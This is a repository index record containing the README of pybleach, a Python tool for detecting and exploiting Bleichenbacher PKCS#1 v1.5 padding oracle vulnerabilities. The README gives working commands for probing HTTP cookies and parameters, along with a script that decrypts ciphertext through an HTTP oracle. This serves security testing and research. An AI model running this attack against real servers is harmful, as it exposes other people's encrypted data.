{"id":15627369,"url":"https://github.com/alexmgr/pybleach","last_synced_at":"2025-04-28T19:29:36.785Z","repository":{"id":20191168,"uuid":"23462295","full_name":"alexmgr/pybleach","owner":"alexmgr","description":"A library to facilitate the exploitation of padding oracle attacks","archived":false,"fork":false,"pushed_at":"2015-04-01T21:46:17.000Z","size":268,"stargazers_count":15,"open_issues_count":0,"forks_count":2,"subscribers_count":4,"default_branch":"master","last_synced_at":"2025-03-30T12:04:01.241Z","etag":null,"topics":["oracle","padding-oracle-attacks","pkcs","python"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/alexmgr.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2014-08-29T11:43:40.000Z","updated_at":"2025-03-23T07:57:51.000Z","dependencies_parsed_at":"2022-08-02T10:37:51.818Z","dependency_job_id":null,"html_url":"https://github.com/alexmgr/pybleach","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alexmgr%2Fpybleach","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alexmgr%2Fpybleach/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alexmgr%2Fpybleach/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alexmgr%2Fpybleach/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/alexmgr","download_url":"https://codeload.github.com/alexmgr/pybleach/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":251374954,"owners_count":21579372,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["oracle","padding-oracle-attacks","pkcs","python"],"created_at":"2024-10-03T10:16:31.988Z","updated_at":"2025-04-28T19:29:36.762Z","avatar_url":"https://github.com/alexmgr.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"pybleach\n========\n\nA library to facilitate the detection and exploitation of padding oracle attacks, more specifically attacks on PKCS1_v1.5. It implements the [Bleichenbacher](http://archiv.infsec.ethz.ch/education/fs08/secsem/Bleichenbacher98.pdf) attack to decrypt any ciphertext given a padding oracle.\n\n## Generation of faulty padding\n\n**pkcs1_test_client** is a client to generate faulty PKCS1 padded messages. Provide it an input message, and it will output a set of incorrectly padded messages. The 5 test cases implemented are:\n\n```\n➜  pyorapad git:(master) ./pkcs1_test_client.py -h | grep -i \"padding test\" -A 100\nPadding Test:\n  The padding tests to run (multiple choice possible). Each message will be\n  output on a seperate line\n\n  -1, --cm              Generate a valid PKCS1 v1.5 padded message\n  -2, --cnb             Generate a valid PKCS1 v1.5 padded message which\n                        contains multiple conecutive null-bytes\n  -3, --nch             Generate a non-conforming PKCS1 v1.5 padded message.\n                        Message will start with 0x0001, expected 0x0002\n  -4, --ncl             Generate a non-conforming PKCS1 v1.5 padded message.\n                        Message will contain a null-byte within the 8 bytes of\n                        random padding\n  -5, --ncd             Generate a non-conforming PKCS1 v1.5 padded message.\n                        Message will not contain a null-byte delimiter\n  -a, --all             Generate all test cases\n```\n\nFor example, to generate all __-a__ cleartext __-c__ PKCS1 faulty messages for the __\"ZZZZ\"__ cleartext using the __256.pub__ public key, you can do the following:\n```\n➜  pyorapad git:(master) ./pkcs1_test_client.py -f keypairs/256.pub ZZZZ -a -c\n0002ed31112d2834d547b288b1f8097ae4d3296f78a8b32be1b341005a5a5a5a\n000277194205eafd22d4032d808ff0b2a950c614fa88fed3b20000005a5a5a5a\n0001b4a1f7ea78ca60c9231703427a42491da04c861cf7e4ac6e75005a5a5a5a\n00027f7e9b0033a684f92c50b43353d5f33f67a0a8938fce462ca2005a5a5a5a\n0002cb998dc3a018b750d0319737afa00fbe14067ebcfac70fc0e7ff5a5a5a5a\n```\n\nTo get the same output encrypted with the public key, just remove the __-c__ flag:\n```\n➜  pyorapad git:(master) ./pkcs1_test_client.py -f keypairs/256.pub ZZZZ -a   \n0fc02a684419f82c12d83dd73c92182696afda77c69ac7c2c74fc6f16dfa6b15\n69e944e68fdd6b4f52d8cd35dca43a53d19932813349595622e38c4a680f853a\n8a4c71bb14ca822fdbc080cb3248285f0e1f7e5c7c54019bf08f0038e1de9b10\n8d308248c7dc5bd57c7406f7d58e3814945a03a746cbb0525b5edcabfe62eda3\n9101b24a425fe5d9f36ebd7c2c3243a9ab47a8c24fb73690a5daea0d6b12cb59\n```\n\n## Testing faulty padding\n\nA very simple http client is provided to test a particular URL, POST parameter or header for PKCS1 padding oracle vulnerabilities. To do so, generate padding faults using the client above, and send the result to the **http_client**. The **http_client** will provide:\n* The resulting status code\n* The time it took for the request to complete\n* (optional) The resulting request\n\nFor example, to send 5 times **-i** some a correctly padded output in the COOKIE header **-x** to the url **-u** you can do the following:\n```\n➜  pyorapad git:(master) ✗ ./pkcs1_test_client.py -f keypairs/256.pub abcd | ./http_client.py -u 'http://127.0.0.1:8000' -x Cookie=\"%s\" -i 5\nae8dda9d89d27f8b1bd18565b6a09aabfa567b9db60fb2a1b788a959e278c811\n\tCode:      200\tDuration:  0.006587\n\tCode:      200\tDuration:  0.001053\n\tCode:      200\tDuration:  0.000977\n\tCode:      200\tDuration:  0.000994\n\tCode:      200\tDuration:  0.000967\n```\n\nTo test all **-a** faulty padding test cases of the POST **-p** parameter through a proxy (useful for debugging or further modifications using your favourite proxy), you can do the following:\n```\n➜  pyorapad git:(master) ✗ ./pkcs1_test_client.py -f keypairs/256.pub abcd -a | http_proxy=\"http://127.0.0.1:8080\" ./http_client.py -u 'http://127.0.0.1:8000' -p param=\"%s\" -i 1\n58f3cc08f2de432e44b81d32f7639bcec89cd07752116615f17635dc0870d89c\n\tCode:      403\tDuration:  0.035813\n82195dad39e5be85c4959c3c5dfefc85c0e11582d5c42c5b61eb49faf0b2c59e\n\tCode:      403\tDuration:  0.049567\n382cdff02984da708f9332b48a64b64542b466c00b4386cff7595f0d0b1db2e3\n\tCode:      403\tDuration:  0.048423\n1a86ddd8a1c05351eb7c1c5f2c31fd2f55f3f03d9af86cfa0e6546fa553cec97\n\tCode:      403\tDuration:  0.048562\n4934721447b2ace0a30adb163313ec87d36c59a3cfdac6d3b258a90fff6a55dd\n\tCode:      500\tDuration:  0.088740\n```\nThe latest request is suspicious, since it returns a different error code and timing for an faulty message. You have found an injection point!\n\n## Oracle, decrypt me that cleartext!\n\nA bit of work is needed here, namely writting a similar script:\n\n```python\nimport logging\nfrom oracle import HttpOracle\nfrom padding import Bleichenbacher\n\nif __name__ == \"__main__\":\n  logging.basicConfig(level=logging.DEBUG)\n  try:\n    def callback(resp, duration):\n      ret = False\n      if resp != None:\n        #print(resp.getcode(), dict(resp.info()), resp.read())\n        if resp.getcode() == 500:\n          ret = True\n      else:\n        print(\"Request failed\")\n      return ret\n    o = HttpOracle(\"http://127.0.0.1\", headers={\"Cookie\":\"name=%0128x\"})\n    o.set_proxy()\n    b = Bleichenbacher.pubkey_from_file(\"512.pub\", o, callback)\n    m, i = b.run_search(\"49affbbe68d923e9cd1d2420fec72aea432b5a119df51f1bba89aa1245eeb627d6809eeebb02db75746df85435735e6e6d11067d77c66da23b7722051141bb19\")\n    print(\"Found cleartext :%i in %i iterations\" % (m, i))\n  except KeyboardInterrupt:\n    b.stop_search()\n```\n\nOnce this has run for a long time, you should get the cleartext message you are looking for\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Falexmgr%2Fpybleach","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Falexmgr%2Fpybleach","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Falexmgr%2Fpybleach/lists"}